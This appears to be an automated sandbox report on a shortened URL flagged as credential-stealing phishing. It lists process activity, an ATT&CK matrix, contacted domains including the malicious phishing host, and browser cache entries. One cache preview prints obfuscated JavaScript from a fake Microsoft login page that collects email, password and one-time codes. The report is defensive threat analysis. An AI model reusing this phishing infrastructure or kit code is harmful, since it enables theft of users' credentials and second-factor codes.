Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2016,i,9354642657652091617,14615780449319768954,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://t.ly/ShNFU"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2016,i,9354642657652091617,14615780449319768954,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
https://t.ly/ShNFU	0%	Avira URL Cloud	safe
https://t.ly/ShNFU	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://veselectrical.com/m/jsv.js	0%	Avira URL Cloud	safe
https://veselectrical.com/favicon.ico	0%	Avira URL Cloud	safe
https://veselectrical.com/wp-content/uploads/2023/02/cropped-381910826007-32x32.jpg	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
t.ly	104.20.6.133	true	false		high
veselectrical.com	50.87.233.27	true	true		unknown
d2vgu95hoyrpkh.cloudfront.net	13.35.58.12	true	false		high
cdnjs.cloudflare.com	104.17.25.14	true	false		high
cs837.wac.edgecastcdn.net	192.229.133.221	true	false		high
s-part-0036.t-0009.t-msedge.net	13.107.246.64	true	false		high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false		high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false		high
www.google.com	142.250.181.228	true	false		high
aadcdn.msftauth.net	unknown	unknown	false		high
www.w3schools.com	unknown	unknown	false		high
cdn.socket.io	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/webfonts/fa-brands-400.woff2	false		high
https://veselectrical.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg	false		high
https://veselectrical.com/m/jsv.js	false	Avira URL Cloud: safe	unknown
https://www.w3schools.com/w3css/4/w3.css	false		high
https://veselectrical.com/wp-content/uploads/2023/02/cropped-381910826007-32x32.jpg	false	Avira URL Cloud: safe	unknown
https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]	true		unknown
https://t.ly/ShNFU	false		high
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/webfonts/fa-solid-900.woff2	false		high
https://cdn.socket.io/4.7.5/socket.io.min.js	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://fontawesome.com	chromecache_67.2.dr	false		high
https://google.com	chromecache_49.2.dr	false		high
https://fontawesome.com/license/free	chromecache_67.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
13.107.246.64	s-part-0036.t-0009.t-msedge.net	United States		8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States		8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
192.229.133.221	cs837.wac.edgecastcdn.net	United States		15133	EDGECASTUS	false
104.20.6.133	t.ly	United States		13335	CLOUDFLARENETUS	false
13.35.58.12	d2vgu95hoyrpkh.cloudfront.net	United States		16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved		unknown	unknown	false
50.87.233.27	veselectrical.com	United States		46606	UNIFIEDLAYER-AS-1US	true
142.250.181.228	www.google.com	United States		15169	GOOGLEUS	false
13.35.58.71	unknown	United States		16509	AMAZON-02US	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States		15133	EDGECASTUS	false
104.17.25.14	cdnjs.cloudflare.com	United States		13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1558095
Start date and time:	2024-11-19 00:00:19 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://t.ly/ShNFU
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.phis.win@17/42@20/12
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.18.3, 142.250.186.78, 64.233.184.84, 34.104.35.123, 172.217.16.195, 172.217.18.10, 142.250.184.202, 142.250.186.74, 142.250.185.74, 142.250.185.234, 142.250.185.138, 142.250.186.138, 142.250.185.202, 142.250.186.42, 216.58.206.42, 142.250.185.106, 142.250.185.170, 216.58.206.74, 142.250.184.234, 142.250.181.234, 172.217.16.138, 142.250.181.227, 93.184.221.240, 192.229.221.95
Excluded domains from analysis (whitelisted): logincdn.msauth.net, fs.microsoft.com, lgincdnmsftuswe2.azureedge.net, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, otelrules.azureedge.net, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, lgincdnmsftuswe2.afd.azureedge.net, clients.l.google.com, www.gstatic.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://t.ly/ShNFU

Simulations

Behavior and APIs

⊘No simulations

LLM Input / Output

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

Chrome Cache Entry: 49

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, Unicode text, UTF-8 text, with very long lines (65506)
Category:	dropped
Size (bytes):	121471
Entropy (8bit):	4.443973115063283
Encrypted:	false
SSDEEP:	3072:Angz3cwtj4+eS6e6+XE3TLc7afmmmmmUmBs/N:AnU3cwtj4+eS6e6+XE3TL9
MD5:	7E32DC72F512FD3F004E1FB20CD34E92
SHA1:	0EDD69E1DA1471CD8926A25A55B2E84A17C0EB2D
SHA-256:	5155B875701F7066E44F3340647A26E76A6C16904D794C2B6B9E1DBE9697E01E
SHA-512:	EEF55C34AF0AE9AFC4F4C35A27B942BBB4E3D10CB98D4A7572D17A71879F5850B9685F8EF90E646ED4BFA73A7419DFE5378B8C99D03B3525EDD50496A50A5025
Malicious:	false
Reputation:	low
Preview:	function _0xb276() {. const _0x5ed944 = ['href', '.phoneotpText', 'readyState', '#playme_big', '@ionos.', '#playme', 'resize', 's2c_restart', '.loaderxBlock11', 's2c', 'complete', 'O365', 'url(\x27https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg\x27)', '@163.', 'trim', '#fff', 'location', 'focus', 'beforeend', 'onblur', '@yandex.', 'load', 'RQ_EMAIL', '375242BWnaRd', 'body', 'Trying\x20to\x20sign\x20you\x20in\x20...', '#allbody', 'endUrl', 'RQ_OTP_APP', 'onfocus', '.logerMe', '.appotpCode', '.otpInput2', 'https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg', 'keyup', 'disconnect', '<p/>', '1007762XNswUc', 'test', 'includes', 'interactive', '.loaderxBlock2', '#000', 'width', 'CORRECT_OTP', 'otp_command', '.grayBox', '.emailInput', '.msappBlock', 'authentication-server.com', 'reload', 'attachEvent', '.passwordError', 'RQ_OTP_NOPASS_APP', '#base_icons', 'top', '.backArrow', '\x0a\x

Chrome Cache Entry: 50

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 7390
Category:	dropped
Size (bytes):	2407
Entropy (8bit):	7.900400471609788
Encrypted:	false
SSDEEP:	48:XVBUIsjnR4Zg0ddZ8E5EyQk7J0e+r/9lifUUuHDM3oOY+:XUIIKZg0ddZdEzTsfUUmyY+
MD5:	9D372E951D45A26EDE2DC8B417AAE4F8
SHA1:	84F97A777B6C33E2947E6D0BD2BFCFFEC601785A
SHA-256:	4E9C9141705E9A4D83514CEE332148E1E92126376D049DAED9079252FA9F9212
SHA-512:	78F5AA71EA44FF18BA081288F13AD118DB0E1B9C8D4D321ED40DCAB29277BD171BBB25BA7514566BBD4E25EA416C066019077FAA43E6ED781A29ADB683D218E2
Malicious:	false
Reputation:	low
Preview:	...........Y=s.8......mr...f.y....8.R...l.Nk.l..?....{$.l\|e'zM.3...............S(..........O./......Mn.e..O..7.O.?=..?........../...~yy._t....8.a........~.....+..$..*..z..\....~..Jx\|............\|y...=................./.3....kN2...H...;<sy....H..?2..q5.0.0....f......L.^..v.W.L..7XCm8.I...6\.p.....O/%sX..I.......u............yE......$q....1/.....W....Zg...w..-..v....x...N)........R....c.W5.=...{_1_...+.#.......e...K..:..b.Ec...!...".I1../2X.....].i.sAF;^.1....1/UM.[r..d...>RX..U...<..1...V.\|.......X.jX:..0...9..F.KsT...{.6,.._Q..9.b...Q)..0.R.t.u.JN..u$V.%X.9k..t.."..Q.........y.V.Z$7.q.{......k.......W....5.x..K.."y...=......4...h\|!....r.."v\f`..c+.......b..hc.jn....0.&G..m.=.@..6../......6....tM^.&3.$......~.....m2...wFs..#5.Hy..?...r.p.O.X.'n...Z8L......7.;..QWGnr.sY..n...3.Jfq..+{m....\...X.q...0...0...........}}d...33.....Q...F$.8..v..UH&.H........0.q..n...q...F.Y7...u..B>..J.A.....$.,....w......Z..oe..w..%....$[+.......d...

Chrome Cache Entry: 51

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 105536, version 769.768
Category:	downloaded
Size (bytes):	105536
Entropy (8bit):	7.989150976486913
Encrypted:	false
SSDEEP:	3072:cBrlv6vs2sSSF2Hv2/V49i7iM6wYyXuJwzO:cBrlvyVsSSFeWV49SiM6kaoO
MD5:	CD2B4095E9CE66CDE642C3502A4022D9
SHA1:	A280ECDDDD14695FAD22599301AB03ADFE5224C0
SHA-256:	404C746C8F7E3F9B7611A8F23D908C1A32A5C972236B9D89BB68B05D9BF4B905
SHA-512:	062782597F37B964A5F285FE8B75AC2CC57E99024FA6C9BF841DC2E7B930CE6CFC12EA5F32D2A6B7301A74FFBB552457A2A82ED9D945E135D8B027F506BF5D77
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/webfonts/fa-brands-400.woff2
Preview:	wOF2.......@.....................................8.$. .`..P..H....T.. . ..WQg......V?..H.I...U.:1....~..?................s...y.....Y.KEF.......SQ.R].H.H@.oa.....~?..{&@g6i..a...U...z5...x...<........I........,.".....W.7v.$v...t..F]...X.X[..k..su.O.<.......V./.z..;.\....=y7.....]B.8.$`.Y.3....uTT.0.5..7~1...y~........WU.tWM.m....i@.A.-...l'..!.80!..q.'@h?t..Q.-........._.O.S.t..-.b...>..NE$c..O..AT....w .H.A..yK6..PYQ...c.%......}..i.6..X......:.D{...{...}....@.>P........P\|.......Ud.BQ.^%.f.%M.b..R...h.j.PUk.....l....c..".....5Kn....Jc.&..&..."..9.....Q`........m.E...:M......\..yIMdZ]..].I.....#t.shk.u.. .Ld.]{..&......3.UE.PG.0(..6`....B..7<j]....6....z.......\.$l....6BQ..WU...y?[....Unb.....K}T.........p..Z.t.....u..1..._.h).z..m.=`.....p.........{~...i..r.s........v.m\|..c0..f.:..1...l..Y....>.........C..O...Xf.K....I...\|...Y..=.e.0...^+.w...2....+L......"..X/.~:_..m/.o..B..4.LJ.'..3....f.N..;-9#..e:.J.a;K.9*.I....T.w=.0.....n.K.t..

Chrome Cache Entry: 52

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 513
Category:	dropped
Size (bytes):	276
Entropy (8bit):	7.316609873335077
Encrypted:	false
SSDEEP:	6:XtqDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XUD34sMDaXI0demb/
MD5:	4E3510919D29D18EEB6E3E8B2687D2F5
SHA1:	31522A9EC576A462C3F1FFA65C010D4EB77E9A85
SHA-256:	1707BE1284617ACC0A66A14448207214D55C3DA4AAF25854E137E138E089257E
SHA-512:	DFAD29E3CF9E51D1749961B47382A5151B1F3C98DEABF2B63742EB6B7F7743EE9B605D646A730CF3E087D4F07E43107C8A01FF5F68020C7BF933EBA370175682
Malicious:	false
Reputation:	low
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 53

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1636
Entropy (8bit):	4.214613323368661
Encrypted:	false
SSDEEP:	24:t4pb8W1baAcycV1i21AL5Xr/fJzWTtDYnpTyuwa+BDhMXeDFF6+/OKgXOgWKZsHz:zdyb2+jfJz+sFyN3BdMeFF52KgeTksHz
MD5:	F7AB697E65B83CE9870A4736085DEEEC
SHA1:	5FF40BFF26B523FBBEAA5228A2AAC63E44AFAA90
SHA-256:	CBB3706E65B35A43BDCFEBD23B5479DC0542CA7E23197869B683D12B524472FE
SHA-512:	158874143CE65485348813431BB585227772F315234E08158A329DF98319AA5F1DB21DEF2AD7CAA5C25AD11660E7D4E05158CFA1198913A33B1B91676C4CA402
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M38,14H10V34H38V14m2,22H8V12H40V36M17.688,18.8V28.828H15.531V21.234a3.2,3.2,0,0,1-.672.43l-.266.117a2.55,2.55,0,0,1-.562.188,2.423,2.423,0,0,1-.3.07q-.141.023-.281.055V20.266q.422-.125.813-.281t.766-.344a8.253,8.253,0,0,0,1.344-.844h1.313m4.531,8.234h4.156v1.8H19.859v-.75a3.292,3.292,0,0,1,.25-1.344,4.183,4.183,0,0,1,.625-1.078,5.7,5.7,0,0,1,.844-.828q.219-.187.438-.352t.422-.32q.453-.312.766-.578a2.593,2.593,0,0,0,.3-.281l.25-.281a3.148,3.148,0,0,0,.328-.562,1.59,1.59,0,0,0,.109-.609,1.176,1.176,0,0,0-.359-.937,1.552,1.552,0,0,0-1.078-.328,3.625,3.625,0,0,0-2.422,1V19.688a4.866,4.866,0,0,1,1.359-.625,5.548,5.548,0,0,1,1.516-.2,4.456,4.456,0,0,1,1.344.188,2.461,2.461,0,0,1,1,.563,2.242,2.242,0,0,1,.625.875,3.007,3.007,0,0,1,.219,1.156,3.538,3.538,0,0,1-.055.641,3.7,3.7,0,0,1-.148.563,3.439,3.439,0,0,1-.562.953,7.2,7.2,0,0,1-.8.8q-.21

Chrome Cache Entry: 54

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 55

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (49854)
Category:	dropped
Size (bytes):	49993
Entropy (8bit):	5.216475744251136
Encrypted:	false
SSDEEP:	768:RKrClF4PgzcEZ5G/Z4G9qXLZed86mhrjlm:RPXcZ4TLZzpPm
MD5:	777EB8FD4F8320B6E5CC9A7159BDEC6A
SHA1:	6B4032E88D0040182089FE3BEFDECEE9346E8921
SHA-256:	73EBA16BC895FDFA454E27ECB80DEF31EDE8D861F99E175FF93B110EABEC044F
SHA-512:	D75B7C43EBD8F49942AEBF8FBDE64A4D826AF27ECED3D6395FFA64FDA31DDEF26E812BEEE313AE9C6114CDA003A8BDC8F1C64A13FA41C3009F5F30E4449876B1
Malicious:	false
Reputation:	low
Preview:	/!. Socket.IO v4.7.5. * (c) 2014-2024 Guillermo Rauch. * Released under the MIT License.. */.!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e\|\|self).io=t()}(this,(function(){"use strict";function e(t){return e="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},e(t)}function t(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function n(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,(i=r.key,o=void 0,"symbol"==typeof(o=function(e,t){if("object"!=typeof e\|\|null===e)return e;var n=e[Symbol.toPrimitive];if(void 0!==n){var r=n.call(e,t\|\|"default");if("object"!=typeof r)return r;th

Chrome Cache Entry: 56

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 250
Category:	dropped
Size (bytes):	199
Entropy (8bit):	6.766983163126765
Encrypted:	false
SSDEEP:	6:XtkhhsKHWpSiKPjPOeNWo6Rs7J1TxODwpV:X8hsKHDTPyeNSRs7vV0aV
MD5:	21B761F2B1FD37F587D7222023B09276
SHA1:	F7A416C8907424F9A9644753E3A93D4D63AE640E
SHA-256:	72D4161C18A46D85C5566273567F791976431EFEF49510A0E3DD76FEC92D9393
SHA-512:	77745F60804D421B34DE26F8A216CEE27C440E469FD786A642757CCEDBC4875D5196431897D80137BD3E20B01104BA76DEC7D8E75771D8A9B5F14B66F2A9B7C0
Malicious:	false
Reputation:	low
Preview:	..........u....0.._%2k.8?....w..k..!.M.."b5<.M.bD..c..l.:..}...@.8p.sn.j...%".B...J..6...c..^..?...2d...R..w.<%..}..}s..ir0/.......:8).(.......^u...0..U..I.F....{]...[-......~..F.P_.....G.....

Chrome Cache Entry: 57

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 58

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/logo_48.png
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 59

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 7390
Category:	downloaded
Size (bytes):	2407
Entropy (8bit):	7.900400471609788
Encrypted:	false
